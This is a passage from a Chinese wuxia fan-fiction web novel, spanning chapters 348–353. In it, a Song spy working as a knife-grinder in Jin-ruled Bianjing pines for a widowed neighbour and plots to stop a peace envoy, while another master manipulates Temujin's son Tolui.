两人不再说话,默默的扒着自己碗里的夹生饭,偶尔从瓦罐里夹一块白花花的大肥肉佐餐。 似乎谁也不敢打断这份有些诡异的静谧,就像是只要自己开口,就会没得饭吃似的。 一碗即难吃又别有滋味的米饭下肚,牛在我嘘出一口长气的同时,小心的将碗筷放下,好似完成了一项不得了的工程。 “我来洗碗。” “诶,放下。” 柳夫人突然轻喝了一声,似乎牛在我做了什么冒犯她的事情。 “呃,我是说,这厨房里的事情,怎么能让小哥你来做呢,你放着好了。” “嗯。” 牛在我不知所措的放下手中的碗筷,就算是在那位天下第一人的师娘面前,他也密友表现的如此拘束过。 好像只要对方一句语气稍微重一些的话,就会让他抬不起头来似的,这种感觉实在是怪异的很。 “李大妈,在你不在的时候上门来说了,她本来是找你商量的,可等了你许久都不曾回来,就……” 柳夫人停顿了一下,似乎有些不好意思开口。 “就跟我说了,就说他们家亲戚好像有些水土不服,得了些许的病症,要在她家里将病养好了才能离开,这一时半活儿就不方便我回去了。” “好。” 牛在我没等柳夫人具体开口请求,就直接答应了下来,心里似乎还有些欢喜,好像对方在这家里住的越久,他反而越是高兴。 “不不,妾身不是这个意思,虽然妾身薄柳之资,万万不得小哥青睐,可毕竟孤男寡女共处一室,终究是与道理不符。 我今天是想跟小哥告别,我打算另寻一个住处,我已经让李大妈给我收拾细软去了,她也同意将剩下的房钱退还给我。” 柳夫人红着脸解释着,显然她也看出了牛在我的异样。 此时的牛在我恨不得钻到桌子底下去,臊的哪里还能说出话来。 “夫人,夫人呢,好事,大好事啊。” 李大妈的人还没到门口,声音却是先传到厨房里来了。 牛在我瞬间挺直了自己的身板,还将自己的碗筷给拾掇了起来,即使里面连一颗米粒都不剩了。 “哎呦,还是吃饭呢,牛小哥,我们夫人贤惠,你可是半年都不见开火的人,如今这餐热饭定是夫人做的。” 李大妈笑着打趣了牛在我一句。 这倒是反而让牛在我放松了些,转身回道。 “是的,托大妈的福,好不容易吃上了一顿家里的饭。” “就是,就是,这饭啊,还是家里的好吃。我就说嘛,这不是挺好的,夫人何必非要另找一家呢。” 李大妈朝着柳夫人建议道。 “大妈,实在是住不得的。您刚才说有好事,是什么来着?” 柳夫人转移话题问道。 “哎呦,瞧我,见着你们这般好,就忘了到嘴边的事了。夫人不是说要重新找一家么,刚好啊,这街上的邻里就有要对外租的。 就在这里不远,跟着牛小哥的院子也就隔了两个院子,是一对老夫妻住的,因为家里有喜事,老夫妻俩要回去,一时也回不来。 这屋子想来空着也是怪可惜的,就刚好托到我这里来了,这不是赶巧了么。” 李大妈呵呵笑着说道。 “那自然是最好的,那这租金几何,大妈可是帮我问仔细了?” 柳夫人问道。 “那是自然要问的,不过这两夫妻出的也急,我也就把你的情况给说了,让他们看在老身的面子上,无论如何给个好价。 这不我跟他们一商量,也就不用变化了,直接按照夫人您在我那边的价租着就是了,连这房款都不用折腾,到时候我们一起跟您算就是了。 您就当是还住在我家里,不过是就是换了个地方,哈哈,你说这是不是大好事。” 李大妈自觉甚佳的说道。 “那就烦请大妈,找人帮我将一切行李都搬过去,这用到人手的地方,我也一并和房钱给您。” 柳夫人款款说道。 “夫人这是哪里的话,不过是卖把子力气的事,老身我虽然年纪大了,可搬这点东西还是能用得上的,加上有牛小哥这个壮劳力在。 夫人你的那点东西,我们三人,两趟就搬完了,是,牛小哥?” 李大妈笑着说道,还朝着牛在我示意了一眼。 “不错,大妈说的是,街坊邻居搭把手的事,我把后院的独轮车拿出来,还能省些人力,也更方便。” 牛在我应承着道。 第三百四十八章 做媒 柳夫人迟疑了片刻,可看着两人盛情难却终究只能行了个感谢的礼点头应下了。 “如此就多谢两位了,明天我……” 柳夫人说着眼睛不自觉的瞥到了桌上还不曾清理的碗筷,脸上不自觉的又泛起了红晕,把到嘴边的话拐了个弯。 “明天,我请两位喝茶,嗯,是好茶。” 柳夫人连忙补充了一句,对于自己珍藏的那罐来头不小的名茶以及自己从小便熟练的手艺还是有几分骄傲的,一般人可喝不上她亲手泡的。 “否客气,夫人,趁着这天还有些亮色,咱们还是先把正事做了。” 李大妈甩甩手,对于她来说,喝茶哪里不能喝,再好的茶难道还能不苦,还不如自己加点糖,那才是好喝的。 “牛小哥……诶,你什么时候把车都拿出来了?” 李大妈本来是想催促牛在我的,哪里知道就是刚才一个不注意的瞬间,牛在我已经把独轮车都拖出来。 “大妈,我看你们还有事情商量,我就先去准备了,反正是要用的么。” 牛在我憨厚的笑笑,这对于他来说就是本色出演了,刚才自己一着急就没控制好速度,好在这两人都没有发现,自己还能糊弄过去。 三人来到李大妈的家里,原来柳夫人的屋子就在院子的东边,也就是靠着牛在我院子的方向,这么说来,两人本来住的就是隔了一个小弄堂而已。 牛在我将独轮车停在了房间的门口,自己坐在车上,这女人闺房里的物件,自然不是他一个大老爷们合适进去的。 “牛小哥,劳烦你先在门口等等,没多少东西,我们一会儿就出来了。” 李大妈叮嘱了一句。 “大妈去便是,我无妨的。” 牛在我道。 “嗯嗯。” 李大妈笑着点点头,就在快要跟着柳夫人进屋的临脚又自语道。 “这么好的小伙,要是哪个女人得了,可就是享半辈子福娄。” 这话让本来刚进屋的柳夫人立马隐去了身形,牛在我则是红着耳朵低下了头来。 李大妈见此掩着嘴笑笑,这些小年轻的心思,怎么能逃得过她这个过来人的眼睛。 不过话说回来,她虽然是善于给人牵线搭桥的,可这也得双方过的了她的眼才行。 她一个孤寡老婆子,又无子女,家里传下来的也够她后半辈子的用度了,所以他乐意给人做媒拉亲可不是为了那几块谢煤的礼钱。 更过的是为自己积德,积攒来世的福报,好让自己下辈子不至于如今这般的命苦,年纪轻轻就死了丈夫。 所以要她做媒的人家,不但要讲究个门当户对,还必须是身家清白。男的起码得是老实可靠,女的自然最终要是名节无损,这样配在一起,才能将来家事和睦,小夫妻才能举案齐眉。 可在李大妈看来,牛在我这小伙子,不但身板高大样貌不差,关键还与邻为善。 不但有自己的小营生,人也是客客气气,似乎还念过几年的书,这就更是了不得了。 这年头,穷苦人家哪里是会有机会读书的,能谢自己的名字就算是文化人了。李大妈曾经也打听过,问牛在我是不是诗书人家,现在不过是家道中落而已。 当时牛在我说的模棱两可,可也没有直接否认,这在对他印象极好的李大妈看来就等于是承认了。 这么好的一个青年,难道要配一个出过嫁的寡妇?李大妈没有看不起柳夫人的意思,毕竟她自己也是寡妇。 可要让自己的好邻居娶这么一个不干净的,总是觉得替牛在我亏得慌。而且了,能守节的寡妇才是好寡妇,要是再嫁了,那……可就跟自己不是一路人的了。 牛在我听着屋子里传出来的叮呤咣啷的声音,没一会儿就由李大妈抱着一个打好包的大包袱。 牛在我赶紧接过,放到独轮车上,用车厢里背着的麻绳将包袱固定在车上。 “别急,还有的是呢,女人家啊,别的东西不多,就是贴身的细软多,呵呵。” 李大妈这句话就有了明显的调侃的意思,对一个血气方刚的大小伙子说女人的贴身细软,实在是勾火的很。 可也是怪了,这房间里明明有两个人,可出来的总是李大妈,大包裹小箱子,总是她拿着出来,好像柳夫人在里面就不愿意出来似的。 可这李大妈好像是小荤话说上了劲头来了,每趟出来总是要变着法的撩拨牛在我,这可让他有些招架不住了。 “夫人,我跟牛小哥先将这一车拉过去,你就在屋子里先整着好了,不劳烦你两边跑。” 李大妈一只脚迈出了房门,朝着里面喊道。 “走,先拉一车过去。” 牛在我点点头,提起车把就往前走,这点尽量对他来说自然是举重若轻的。可刚出门李大妈的一句话,每个字都彷佛有千斤重的斤两,还是都直接往他的头颅上压下来似的。 “小哥是对这寡妇有意思?” “李大妈,不好这么说的。” “呦,是我不好说你对她有意思,还是我不好说她是寡妇?啧啧,今天你们不过是刚见面两天呢,这就护上了?” 李大妈既然能做媒婆,那这嘴上的功夫自然是不输人的。 “你呀,就你的条件,什么样的好人家姑娘找不上,我给您说过那些个家里的,但凡你点个头,有些个聘礼都可以简单者也愿意把宝贝姑娘给你,你倒好,偏偏看上个破烂货。” “李大妈,你这嘴上还是留德,您不也是这般过来的吗,何苦要这么糟践人呢。” “就是因为我这般过来的,才更有资格说,嫁过人的女人,怎么也是比不上别人家的黄花闺女的,你这是扔了西瓜去捡芝麻。” 李大妈嗓门大了起来,牛在我不知道怎么心虚的往四周看看,生怕有人听了去。 “大妈,您的就饶了我,我以前也跟您说过,我暂时不会考虑娶亲的事的。” 牛在我知道在这个话题上,就算自己说出天来,也绝对说服不了李大妈的,索性就找个理由搪塞过去算了。 第三百四十九章 劫 “哼,你呀,你呀。” 李大妈一手指着牛自我埋怨道,一副恨铁不成钢的悲愤摸样。 后面的一路两人也就没什么话好说了,本来柳夫人要搬的地方也不远,在牛在我住的房子的西边,中间就隔着两个院子,要不是其中一条算是宽敞的大路隔开了一下,两座房子的直线距离也就不到五十米。 李大妈用钥匙开了门,显然是那对夫妻已经不在这里住了,这房子也就全权交给了李大妈管理。 “东西就先放到厅里,等夫人来了,让她自己选住哪间屋子,这里除了主人家特意交代过的那间,其他的都随她选。” 牛在我将那一车的行李都搬了下来,一只手各拎着好几个包裹,一股脑的就堆在了客厅里。 如此又来回了两趟,才把柳夫人的行李细软都搬了过来。 “有劳大妈,多谢牛小哥了。” 柳夫人客气道。 “哪里有的事,本来就是老身事情做的差了,要不是这亲戚突然来了,老身可舍不得将夫人这么好的方可往外赶,您多见谅才是呢。” 李大妈虽然对牛在我说的时候,是百般的劝说不要找寡妇,可当着人家的面上,可是和善的很。 “夫人不必言谢,举手之劳而已。” 牛在我道。低垂着眼帘,却是有些不敢再看她了,刚才跟李大妈的那一番话,虽然不至于就全然听了对方的话,可也提醒了他,如今可不是儿女情长的时候。 人的思维就是这样的,一时的冲动可能就动摇本来筑好的堤坝,要是不断的有浪涛过来,那倒塌也就是可以预见的事情。 但若是有人发现了险情,能主动去加固,那就又不一样了。 所以牛自我只好将自己的眼睑作为防御这道岌岌可危的堤坝的加固防线了。 …… 往后的牛在我的生活,就像是一口古井被一个顽皮小孩投入的石块打破了平静,虽然在那之后水面似乎已经恢复了平静,可那块藏在心底的石头,每天醒来都会提醒,自己的异样。 一种多出来了,不再似以往的凸起,水面虽然是平的,可心里已经多了一个沉甸甸的,让人不得不去在意的东西。 牛在我忍着,尽自己最大的努力,唤起自己最坚强的意志,不让自己出门之后往西走,就算是非要去那边办事,也总是先往南走出了两个街道再绕个圈子过去,好把那块石头所在的地方绕过去。 可不管牛在我如何压抑自己,但是那位柳夫人终究是要上街,要去采办神火用具,柴米油盐的,而牛在我作为一个街上的磨刀匠,到了此时已经是避无可避。 每隔三天,柳夫人都是在太阳升起了三分之一高度的时候出门,从那个牛在我始终不敢正视的街口款款而来。 提着一个篮子,一身简单整洁的衣着,只是简单的画了个眉眼,头上插着一株木质的发簪将那头乌黑靓丽的头发盘做妇人摸样。 对于那些粗俗的男子投过来的目光,柳夫人只是报以无视的态度,自从她养不起丫头,只能自己上街采办之后,她对于这种侵略性的注视也渐渐的习以为常了。 只有那个位置的人,才会把自己当做什么洪水猛兽一般,每次自己经过对方摊位,总是一副低着头磨刀的专注样子。 柳夫人虽然不至于犯贱的期待什么,可对于一个女人来说,她既不希望看到那些粗鄙的男人的贪婪目光,但也不希望有人对自己无动于衷,甚至避之不及。 她是什么意思,嫌弃自己的身份吗?虽然自己寡居了,可从来就没做过什么有辱门风的腌臜事情,他凭什么不看自己。 所以每次柳夫人经过那个摊位的时候,总是习惯性的微微抬起自己的下巴,她不会对这个腌臜的世界低头的。 牛在我手里磨着一把不仅锈的黄斑遍身,甚至连刃口都崩了一半的剪刀,这把剪刀的主人自从买了它就没仔细打磨过,而且不用到实在用不动了,也不会来花这冤枉钱打磨他。 “咻……咻……咻……” 剪刀与磨刀石之间发出带有节奏的摩擦声,锈迹斑斑的刀身一点点的还原出本来的摸样。 剪刀在磨刀石上滑动,可牛在我的眼睛却似乎没有聚焦在这刀刃上,反而是看着那磨刀石下面的盛着水的铜盆里。 更确切的说是,那倒影在水盆里的一闪而逝的倩影上。 除了他自己,没有人能看出他的全神贯注与心不在焉,只有当那具被水波褶皱了的身躯经过,手上的动作才会有一瞬间的迟缓,以求得这水波能稳定些,好让他把积蓄了三天的相思减去三分。 相思有毒,牛在我感觉自己身上积累的毒素是日益加深了。 …… 与金军那边收到的不得出兵的旨意不同,虽然赵茵萝给的也是不得生事的旨意,但是语气明显是可以商量的。 而随着旨意而来的谈判团队,在与金国谈判人员的交锋中也是明显的展示出了不怕事的胆魄,这就是一个国家有足够的军事实力作为靠山的好处。 而赵茵萝以师母的身份给郭靖杨康两个小子捎来的信件中,除了斥责他胆大妄为之外,话里话外都在夸赞他们这段时间在军营里算是没有白待。 尤其是对于杨康能想出那样无赖的主意,表示以后他可以往三国时期贾诩那样的毒士方向发展。 “嘿,先生说的,黑猫白猫能抓到老鼠的才是好猫。” 杨康自然是能听得出自己师母言语中的弦外之音,可他并不认为自己这样做有什么问题。 他读过的所有兵书战策里,没有一本是教他要讲究光明正大的,在战场上,自然是无所不用,对于礼义廉耻这些东西,那是儒家教化万民的时候用的,不是他这样的兵家该学的。 “康弟弟,师娘说要是有机会可以把金国的这支军队吃下,这是要我们准备与金国开战吗?” 郭靖拿着他手坳的信件有些信封的跟杨康说道,他这些天就看着城外的金军在耀武扬威,心里自然也是不舒服的。 第三百五十章 托雷 “嗯?” 杨康先是诧异,为何赵茵萝给两人的信会差这么多,可随后他就明白了,自己师娘这是因材施教呢。 自己的性格冲动,自然就是压一压;而郭大哥的性子是稳中求胜,自然就要激一激。 “不错,如今我们的援兵已到,手上又有一张好牌,如今金国内忧外患,绝不敢轻启战端,如果他们不答应师母的条件,我们就以此为理由,直接吞了这支军队。” 杨康接着说道。 “可是,他们人不下五万,而且还有装备精良的骑兵,我们虽然也有三万援兵,如果只是守城,自然是无虑的,可要是出城强攻,就算能留下他们,我们自己也必定是损失惨重的,这样怕是……” 郭靖忧虑的说道,他如今也不是只知道纸上谈兵的菜鸟了,经过这段时间在军营中锻炼,也明白这战场上的胜负得失不仅仅是敌我伤亡统计的数字,而是一条条鲜活的生命造就的。 一个统帅,一个统兵将领的每一个决定,要面对的不单单是敌人,还有自己的手足兄弟。 要是每一场战斗都靠自己手下兄弟的人命去堆出来,那这份沉重不是每个人都能扛得起来的。 未虑胜先虑败,这是郭靖认为一个合格将领最优先应该考虑的事情。 “如今优势在我,自然不会这般跟他们这些蛮子硬来,嘿嘿,不战而屈人之兵才是上策。 郭大哥,你信不信,我要在动手之前,就让他们这帮金人自乱正脚,到时候我们再出兵收拾残局,保证事半功倍。” 杨康说得似乎胸中已有成竹。 “康弟弟,你有什么好主意?” 郭靖有些激动的问道,对于这个向来足智多谋的兄弟,他向来是高看一眼的。 “山人自有妙计。” …… 牛在我将前线传来的消息尽数销毁,心里却在盘算着,自己如何能在这样的局势下推动一把。 如今宋金边境虽然是在谈判桌上,可谁也不能确定战争会不会再次爆发。金国现在虽然是保守派占据了大局,可那些武勋世家是不会放过一雪前耻的机会的。 而那位金章宗,实在是没有什么威慑力,对于那些指望着用军功来延续家族的辉煌的人来说,战争的诱惑力是多么的强大。 而且北边也传来了消息,如今在自己先生的辅助下,王罕部落与铁木真部落已经全面开战了,而有了李埋那一队队送过去的战略物资,只要王罕部落不自己玩死自己,这草原上一时半会儿就停不下来。 那金国作为蒙古草原与南宋缓冲地的要紧关系就降低了,要是能够趁着这段时间,把这个给大宋带来了无尽羞辱与苦难的国家给灭了…… 牛在我不仅浮想联翩,可这样的大事自然不是他一个只是在金国负责情报的小角色可以决定的他要问问先生,嗯还有那位女帝师母的意见。 而且,此时他心里还有个沉甸甸的念头,他需要自己先生给与他一些参考意见,是挥剑斩情丝,还是…… …… 托雷看着躺在病床上的父汗,那个他心目中永远的英雄,草原上最伟大的男人,他既气愤又悲哀。 在托雷的记忆里,自己的父亲从来没有表现出这么软弱的一面,在他的印象中,铁木真永远都是那般的伟岸。 “那些人竟然敢伤害父汗,还伤的这么重,不可原谅。” 要不是他父汗在弥留之际还让他们先撤军,离开这里,绝不能与王罕的部落发生直接冲突,他们几个兄弟早就带着人打回去了。 虽然他们部落的战士没有王罕部落的人多,可他们的儿郎都是以一当十的好汉子,绝对不是那些没有骨气,只知道在背后暗算人的家伙能够抵挡的。 可是光靠自己的愤怒是没有用的,因为自己只是父汗最小的儿子,手里的战士也是最少的,不说跟大哥木赤比,就是父汗手下的那些将领,如哲别之流也比他更有实力,在草原上只有强者才会让人信服,让人跟随,他还是不够强大。 “可恶!” 托雷一拳砸在自己的桌案上,将上面的杯盘震的一片狼藉,发泄着心中发愤怒与不甘。 “来……” “谁?” 托雷惊厥般的一声怒吼,立刻惊动了帐篷外的士兵。 “四王子?” 闯进来的两个数兵士扫视了一眼,帐篷里除了托雷并无他人,便疑惑的问道。 “你们没有听到吗,有人在说话。” 托雷眼神严肃的扫视着这两人,怀疑是不是他们在捉弄自己。 两个兵士相视一眼,都有些诧异。 “我们并没有听到什么声音。” 托雷还是不信,凝神细听。 “来……” 又来了,声音飘忽不定,但也能确定绝对不是眼前的两人发出来的,好像是直接出现在自己的耳朵里。 “你们没听到?” 托雷还是有些不确定的问道。 那两个士兵莫名其妙的摇摇头。 “出去。” “是。” 等两人走出了营帐,托雷起身在四周都搜查了一遍,看看是不是有什么不属于他的东西,被人在他不知道的时候放进了自己的营帐里,才让他听到了这奇怪的声音。 “来……” “可恶。” 托雷心中暴躁不已,对于这样摸不着头脑的事情,就是他这个作为铁木真的儿子也有些惊疑不定了。 尤其是在自己的父汗伤重不醒的情况下,又有王罕部落在一旁虎视眈眈,他绝对不允许还有人敢在他们的军营里来挑衅。 托雷压抑住心中的怒火,等着那个声音再次出现,他一定要把这个装神弄鬼的家伙给揪出来,可他等了许久,刚才那个缥缈的声音却是没有再出现。 “哼,没有勇气的人不配我托雷四王子出马。” 托雷愤然的又砸了一下桌案。 随后,他让人将桌案上已经打翻的酒肉让人撤下,重新要了一份过来,猛灌了自己几杯,在半醉半醒之间上床入睡了,他这一天耗费的心思也够累人的。 与此同时,在离开铁木真大营五里之外的一个三面围拢的小山坳里,陈子正坐在老黑的背上,擦着应为刚才施展的这脱胎于黄老邪的音波功的聚声成线的功夫。 第三百五十一章 异动 如果是单单将声音压缩倒是不费什么气力,但是要把这声音准确的送到托雷的耳朵里,这次阿是麻烦的。 就算他在前面已经做了准备,在托雷的营帐中放了一些辅助用的小东西,可就是这三声来字,比他在华山论剑的时候还要浪费力气。 可没办法啊,谁让他要在后面装成一个世外高人呢,要是在前面没有两手能震住人的手段,如何让这个铁木真的小儿子,未来的蒙古王者信服自己。 小黄从车厢里出来,似乎它也察觉到了陈子云的疲惫,温柔的在主人的身边用他柔软的身躯蹭着撒娇。 “好了好了,你现在可是在换毛呢,你这么一蹭,我可是要花好些时候清理了。” 陈子云嫌弃的将小黄抓了过来,可随即又抱在了自己的怀里,跟自己嘴上说的可不太一样。 “吱吱……” 小黄交换了两声,在陈子云的怀里找了一个舒服的位置,盘起自己的大狐狸尾巴当枕头,眯着眼享受着主人的抚摸。 “你这毛掉的,等我收集一些起来,都可以给小黄蓉做一个狐狸毛的围巾了。” 陈子云看着自己手上粘上的毛发,随手搓了一下,就塞进了随身带着的小锦袋里,那里面鼓鼓囊囊的摸样,看样子已经收集了不少了。 …… 到了第二天,铁木真还是在昏迷之中,他的那些儿子跟将领都汇聚在他的床榻之下,等待着他们的父亲,他们的领袖,他们的大汗的苏醒。 “我要去找王罕部落报仇。” 木赤愤然起身,就要往营帐外去,看他那急躁的摸样,绝对不是说说而已。 “大哥,你忘了父汗的嘱咐了吗!” 窝阔台一把拉住了木赤。 “他让我们不得与王罕部落起冲突。” “闭嘴,窝阔台,你也是父汗的儿子,如今父汗被那些人伤成这样,我们却只能躲在这里抹鼻涕,我木赤绝不是这样的软蛋。” 木赤毫不掩饰的扫视了在场的几位兄弟与将领,眼中都是鄙夷。 “木赤,我们是铁木真的鹰犬,绝不是你说的懦夫,我们之所以不去找王罕报仇,是我们的大汗给我们下达的命令。” 四骏中的木华黎起身说道,他也是铁木真麾下最懂得如何打仗的人物,绝不是那般冲动妄为的人。 “不错,大哥,要说报仇,我们这些做儿子的都想为父汗报仇。可是父汗在昏迷之前说的话,必然是有道理,难道你不相信他的智慧吗?” 托雷也起身阻止自己大哥的冲动。 木赤红着脸,狠狠的瞪了一眼托雷,对于这个比自己小了十几年的小弟,他从来都不放在眼里。 在木赤看来,托雷不过就是个没长大的孩子,要不是父汗照顾,他哪里有资格带兵,这个时候竟然敢站出来顶撞自己,实在是让他气愤不已。 “不错,木赤,一切还是等大汗醒来再说。” 托雷也开始帮腔了,他作为托雷的师傅,自然是向着自己的徒弟的。 “哼。” 赤木不满的哼了一声,虽然他是铁木真最大的儿子,在军中的资格也是最老的,可他也知道,自己不可能在这么多人表示反对的前提下还执意出兵。 他虽然手下有不少的人马,但是跟王罕部落的军队比起来终究是太少了些,没有这些人的支持,他是没法调动铁木真的大军的。 “嗯……” 床上的铁木真发出了一声呓语,将所有人的目光都聚集了过去。 “父汗……” “大汗……” 众人都呼唤着他,他们心中绝对的中心。 …… “北……” “来……” “北……” 托雷发现这两个字就像是来自长生天的呼唤一般,总是在他的脑海里回响,可前些时候,因为自己的父汗重伤昏迷,他便没有按照指引往北去探寻。 如今铁木真的伤势已经稳定,也能做些简单的沟通,虽然每次召唤他们进去只是说上两句,但整个部落的主心骨明显的都回来了,不再表现得慌张而无所错,那个本来吵嚷着要率兵报仇的大哥赤木,也变得像是狮子狗一般的温顺,这就是铁木真,他们的父亲,他们的大汗的威慑力。 他现在也终于有时间去印证,自己脑海里出现的呼唤到底是自己的妄想,还是真的来自长生天的呼唤。 托雷没有惊动其他人,只是带着自己从小培养起来的几个亲卫,悄悄的出了部落,一路向北。 可知道走到了日落西山,托雷一行人也没碰到什么神奇,托雷好几次朝着天空仰望,找寻太阳的方向,是不是自己的找错的方向。 可自从他从部落里出来,那个声音就没有再出现过。 “回去。” 托雷直接勒马回头,一伙儿亲卫虽然有些不知为何这位向来聪明睿智的王子,今天会表现的这般异常,但也不敢问什么。 刚回到部落里,就有人在他的营帐外等候他,说是铁木真召唤。 “父汗,您好些了吗?” 托雷一进铁木真的营帐,就跪倒在铁木真的床前,语气亲切的问候道。 铁木真睁着有些浑浊的眼,吃力的打量着着面前自己这个最小的儿子。 “听说你今天……出去了?” 铁木真声音沙哑的问道,对于一个重疾在身的人,总是会比平时更加的脆弱些,本来作为一个铁血里练出来的王者,是不会听信那些背地里的小人之言的,可到了如今,就是自己的儿子他也要怀疑了。 “是的,父汗,本来儿子师兄想给父汗射一只最雄伟的大雕,来给庆祝父亲早日康复的,可忙活了一天,也只是射到了一些狡兔,郊狼,要是父亲不嫌弃,我就让人做好了端上来。” 托雷将早就准备好的说辞用诚恳的语气说出来。 “你是给我去射雕了?” 铁木真挣扎的想从床榻上抬起头来,好看看这位向来都是最聪慧的小儿子。同样,在自己软弱的时候,也是最容易被别人的善举所感动的。 要是换做平时,对于连雕都射不下来的孩子,他不责骂就不错了,可此时托雷的这份心意却是难得的。 “是儿子没用。” “好孩子,好孩子。” 铁木真从厚重的毛皮被褥中伸出手,托雷赶紧迎上前,一把抓住。 “父汗……” …… 第三百五十二章 契机 其实陈子云已经在山坳里看见了托雷的队伍,可他并不想就这么简单的现身,也不想在托雷之外的人面前露面。 他这次并不想直接进入铁木真的部落里,他要做的只是想通过托雷,这个铁木真的小儿子,让他们这个部落不得安宁而已。 托雷作为铁木真的最小的儿子,现在在部落中的权威并不重。而陈子云要做的就是教托雷武功和兵略,让这个最小的儿子生出一些不该有的野心。 陈子云不担心托雷学了自己的本事之后,会更加助长蒙古草原的气焰,因为在草原一统之前,托雷在部落里表现的越发强大,对于其他铁木真的儿子的威胁就越大。 不管是赤木,还是察合台或者窝阔台,都不是省油的灯,他们的野心现在还算收敛,可等铁木真一旦离世,他们谁也不会服从谁。 而最为最小的儿子的,托雷本来是不在他们的注意范围内的,因为他现在手中基本没有什么军队。 可一旦托雷学了陈子云的本事,那不管他如何掩藏自己,都不可能是现在的这个格局。 而且铁木真的这些儿子,都不是甘愿居于人下的主,一旦知道自己的本事在他的那些哥哥之上,那么这个平时表现的最为温顺的小儿子,就绝不会再这般的谦让了,到时候这头草原的小狼,将露出自己的獠牙。 “要不咱们也让他来个三顾茅庐?小黄,你说如何?” 陈子云花环的抚摸着小狐狸的脊背毛发说道。 “吱吱。” 小黄舒服的叫唤了两声。 …… 牛在我拿着手里的分别来自一南一北的两份答复,嘴角露出了一丝狡黠的微笑。 “还真是默契啊。” 原来这两份答复分别来自身在蒙古草原的陈子云与坐在临安帝位上的赵茵萝,分别是“你看着办”和“便宜行事”。 牛在我将两份连人的亲笔在手中一抹,成了一堆白色的粉渍。 其实他也料到了,不是他妄自尊大,而是通过对于此时蒙古金国与南宋之间的形势分析。 他发现,南宋此时的地位似乎是最稳固的,可同时也处于最大的变故中,这个变故不单单只是外部环境的变化,最重要的还是内里的变化。 不管是日渐浓郁的兴武的氛围,还是在宣传口径的推动下,国内奋发向上,要一雪前耻的收复失地的决心。 这份举国同心的力量正在积累,这份积累谁也不知道会到怎么样的一个地步,有人也担心要是过于激进,会给南宋带来负面的影响,所以也就有人期盼着将这股即将爆发的力量,引导向一个可以宣泄的方向。 这自然就是战争,不管是向南向北,只要有个出口发泄就行。 现在的南宋朝廷,其实是对宋金边境的和谈保留着观望态度的,但凡金国不能满足他们提出的有些苛刻的条件,他们绝对不介意立刻就跟这位本来都不愿意得罪的邻居开战。 “那么就让我来当这个罪人。” 牛在我轻声对自己说道,对于战争,他必须要给南宋制造一个契机,而他手中的一份消息就是最好的一次机会。 那个十几年前被自己先生跟那位王道乾大人算计的六王子,现在的六王爷完颜洪烈被重新启用了。 而要作为金国的和谈代表,前往宋金边境组织和谈,要是牛在我能在其中做些手脚,那这场仗,南宋就有足够的理由打了。 比如在半路拦截下完颜洪烈,让他活不见人死不见尸,错过两国约定好的谈判时间。 再或者,乔装进完颜洪烈的队伍里,然后在他们谈判的时候,出手偷袭,刺杀南宋的官员,那这场谈判自然也就不可能再继续下去了。 当然除非事先就有机会把人安排到金国的谈判队伍里,否则零时塞人进去是基本不可能的。 就算金国的人在马虎,对于这样的重要事件,人员审核这一块,肯定是不会马虎的。 简单的化妆牛自我倒是会的,这也是在来金国之前特意去跟子虚里的高手学的。 但是说能把自己变成另一个人的技术,那就有些天方夜谭了,就算能忘自己的脸上弄一张人皮面具,可那身形,音色,动作习惯,没有长时间的模仿在,怎么可能不被其他人认出来。 如果只是胡乱的化妆成一个陌生人自然是简单的,可在已经成型的队伍里换一个人,那就是神话了。 所以现在能够操作的就是截杀完颜洪烈这一条路,直接也是相对比较高效的选择。 至于说刺杀的人员,除了他牛在我自己不做第二人选,至于那些他在金国招募的情报人员,收集一下消息还行,可没有他这样的身手,说到底,那些不过是有几分故国情怀的普通人而已,就算有点武力的,也不过是练的庄稼把式。 而且就算是他自己,也必须要好好策划一番才有机会。虽然不确定完颜洪烈身边会不会有武林高手,但是光光要应对安歇守卫也够头疼的了。 如果直接硬闯,说不得就被这些人拖住了,让完颜洪烈跑了。而且他也不能在汴京城里出手,因为一旦完颜洪烈在这里出事,那金国无非就是换一个谈判的人员而已,并不会影响大局。 所以牛在我一定要等,等完颜洪烈到了半路,等剩下的时间不够金国变更谈判人员,他的刺杀才会有效果。 而这个刺杀的地点,牛在我也随机而定,因为完颜洪烈前往宋金边境的路线是严格保密的,以他目前的情报网络还得不到这样级别的消息。 所以他必须立刻做出决定,要在完颜洪烈的队伍离开汴京之前就动身,寸步不离的跟着。 不过现在倒是不急,毕竟这么大的队伍要准备也不是一天两天就能完成的,毕竟怎说也是代表金国去与南宋谈判的,不可能就这么随便的一辆马车几个人就能成行的。 就光和谈的底线,可以让步的条件这些,在金国的朝堂上也必然是要先有个草稿的。 不可能真等完颜洪烈去了前线,让他随意就答应了南宋的条件,那到时候金国认还是不认? 认的话必定是吃大亏的;不认,那就是等于将自己的国家信誉扔在地上踩。 “也许……” 牛在我静静的沉思着,思索着所有可能行得通的计划。 …… 第三百五十三章 失踪 第二天,牛在我照常的出摊,在他决定动手之前还是要维持以前的生活习惯, 要不然容易被别人注意到。 而且他也要考虑好,一旦他出动了,那留在金国汴京的这些情报人员要怎么 安排,跟他走是不可能的,只能原地静默,或者在他们中间选个能带队伍的人出来,继续负责在汴京的情报收集,到时候让他们将收集来的情报交给需要经过这里的背上的李埋商队。 正当牛在我心不在焉的磨着手中的剪刀时,李大妈急匆匆的从街上来了,气喘吁吁的停在他的摊位边上。 “牛……牛小哥……出……出事了。” 牛在我心里咯噔一跳,这种预感他以前也碰到过,很自然的就想到了那个让他牵肠挂肚的身影。 “柳夫人……” 李大妈的气息终于是均匀了一些。 “果然。” 牛自我倒吸一口凉气,应验了啊,他小时候也有这样的预感,每次有人告诉他什么不好的事情,他就能提前猜到出事的人是谁。 “李大妈,慢慢说,别急。” 虽然心里万分着急,牛在我还是强迫着自己冷静,这是他这些年练出来的沉稳,起码要让别人看出自己的沉着冷静,因为恐慌是没有任何作用的,只会将这种无用的情绪传染给其他的人,于事无补。 “你……你跟我来。” 李大妈拉着牛在我就往街尾走,那是通往柳夫人现在住址的方向。 “今天我去她那里,给她送两个鞋样,顺便也想着跟她学学那锈鞋面的手艺,你可不知道,这柳夫人锈的那并蒂莲可真是…… 嘿,我这是说什么呢。” 李大妈突然做样子扇了一下自己的耳光。 “这人老了,就这样,东拉西扯的,连自己要说什么都忘记了。” “不碍事的,李大妈你继续。” 牛在我在背后捏着拳头,脸上却是客气的说着。 “嗯,我去找柳夫人,可敲了半天的门也不见她应答的,可这位夫人是最讲究的,这个时候是一定在家里做针线的,在我那里住的时候就这样,那可是分毫都不差的。 